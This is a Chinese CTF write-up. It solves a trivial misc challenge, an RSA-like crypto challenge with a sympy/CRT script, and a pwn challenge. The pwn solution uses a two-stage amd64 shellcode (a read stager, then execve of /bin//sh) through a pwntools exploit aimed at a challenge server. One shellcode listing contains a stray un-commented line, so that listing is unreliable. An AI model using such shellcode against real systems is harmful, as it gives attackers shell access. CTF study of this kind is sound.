Misc VN_Lang 简单的签到题,原本以为真的要解密程序里的那个字符串结果发现记事本打开搜VN就有flag。

Crypto easymath AI神力,首先多项式求根求解多项式方程找到质数候选值,质数筛选,模运算计算平方根和模数,Tonelli-Shanke算法计算模数下的平方根,注意考虑平方根正负两种情况,接着用中国剩余定理将模质数下的解合并为模N下的解,最后过滤解码即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 from sympy import symbols, solve, isprimefrom sympy.ntheory.modular import crtimport binasciipolynomial_str = "x**3 - 15264966144147258587171776703005926730518438603688487721465*x**2 + 76513250180666948190254989703768338299723386154619468700730085586057638716434556720233473454400881002065319569292923*x - 125440939526343949494022113552414275560444252378483072729156599143746741258532431664938677330319449789665352104352620658550544887807433866999963624320909981994018431526620619" c = 24884251313604275189259571459005374365204772270250725590014651519125317134307160341658199551661333326703566996431067426138627332156507267671028553934664652787411834581708944 x = symbols('x' ) expr = eval (polynomial_str) roots = solve(expr, x) p_candidates = [int (root.round ()) for root in roots] primes = [] for p in p_candidates: if isprime(p): primes.append(p) primes = sorted (primes, reverse=True ) print ("找到的质数:" , primes)p0, p1, p2 = primes N = p0 * p1 * p2 print ("N =" , N)assert c < N, "c 的值超出模数范围" def tonelli_shanks (n, p ): if pow (n, (p - 1 ) // 2 , p) != 1 : return None return pow (n, (p + 1 ) // 4 , p) r0 = tonelli_shanks(c, p0) r1 = tonelli_shanks(c, p1) r2 = tonelli_shanks(c, p2) from itertools import productsolutions = [] signs = list (product([+1 , -1 ], repeat=3 )) for sign in signs: a0 = (sign[0 ] * r0) % p0 a1 = (sign[1 ] * r1) % p1 a2 = (sign[2 ] * r2) % p2 solutions.append((a0, a1, a2)) moduli = [p0, p1, p2] possible_flags = [] for sol in solutions: res = crt(moduli, sol) if res is not None : possible_flags.append(res[0 ]) possible_flags = list (set (possible_flags)) possible_flags = [f for f in possible_flags if f**2 % N == c] print ("可能的 flag 解密结果:" )for f in possible_flags: if f < 0 : f += N print (f"候选解: {f} " ) try : flag_bytes = int .to_bytes(f, length=(f.bit_length() + 7 ) // 8 , byteorder='big' ) print (f"解码后的 flag: {flag_bytes.decode()} " ) except UnicodeDecodeError: print ("解码失败,可能非 ASCII 串" )

PWN 签个到吧 这道题是一个典型的利用自定义可执行内存区域(通过mmap
分配)执行Shellcode
checksec:
1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
mmap在地址0x114514000分配了0x1000字节的内存,权限为7即可读可写可执行
mprotect再次确认该内存的权限为7故利用该内存区域即可无视NX
read(0,buf,0x16)
读取输入的22字节到buf,execute(buf)通过jmp rdi跳转执行buf(因为buf为第一个参数rdi在64位系统中存储第一个参数),可利用该处填入shellcode并执行,因为22个字节过短所以选择先执行read的系统调用扩展输入,再二次执行execve shellcode获取shell
第一阶段:
1 2 3 4 5 6 shellcode1 = asm(''' mov rsi, rdi ; rsi = buf地址(rdi为execute参数) mov edi, eax ; edi = eax(此时eax=0,因main返回0) mov dl, 0x80 ; rdx = 0x80(读取长度) syscall ; 调用read(0, buf, 0x80) ''' )
目的 :通过read
系统调用读取更多数据到buf
,覆盖原有Shellcode。
寄存器状态 :
rdi
(第一个参数)来自execute
的参数a1
,即buf
地址。
eax
在main
结束时为0
(return 0
),故edi=0
对应read
的第一个参数fd=0
(标准输入)。
rsi
指向buf
,rdx=0x80
允许读取128字节,远超初始的22字节限制。
第二阶段
1 2 3 4 5 6 7 8 9 10 11 12 shellcode2 = asm(''' mov rsp, rsi ; 栈指针指向buf add rsp, 0x1000 ; 栈顶移至buf末尾(避免覆盖Shellcode) xor rsi, rsi ; rsi=0(argv=NULL) mul rsi ; rax=0, rdx=0(envp=NULL) push rax ; 字符串结尾\0 mov rbx, 0x68732f2f6e69622f ; "/bin//sh" push rbx ; 压入字符串地址 mov rdi, rsp ; rdi指向字符串 mov al, 59 ; execve系统调用号 syscall ; 触发execve("/bin//sh", 0, 0) ''' )
栈迁移 :将栈指针rsp
指向buf
末尾(+0x1000
),确保后续push
操作不会覆盖Shellcode。
参数构造 :
xor rsi, rsi
和mul rsi
将rsi
、rax
、rdx
清零,对应argv=0
和envp=0
。
压入字符串/bin//sh
并设置rdi
指向它,构造execve
参数。
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *context(log_level='debug' ,arch='amd64' ,os = 'Linux' ) io = remote('node.vnteam.cn' ,44612 ) shellcode1 = asm(''' mov rsi, rdi mov edi, eax mov dl, 0x80 syscall ''' )shellcode2 = asm(''' mov rsp, rsi add rsp, 0x1000 xor rsi, rsi mul rsi push rax mov rbx, 0x68732f2f6e69622f push rbx mov rdi, rsp mov al, 59 syscall execve("/bin//sh", 0, 0) ''' )print (len (shellcode1))io.send(shellcode1) payload = b'a' *9 +shellcode2 io.send(payload) io.interactive()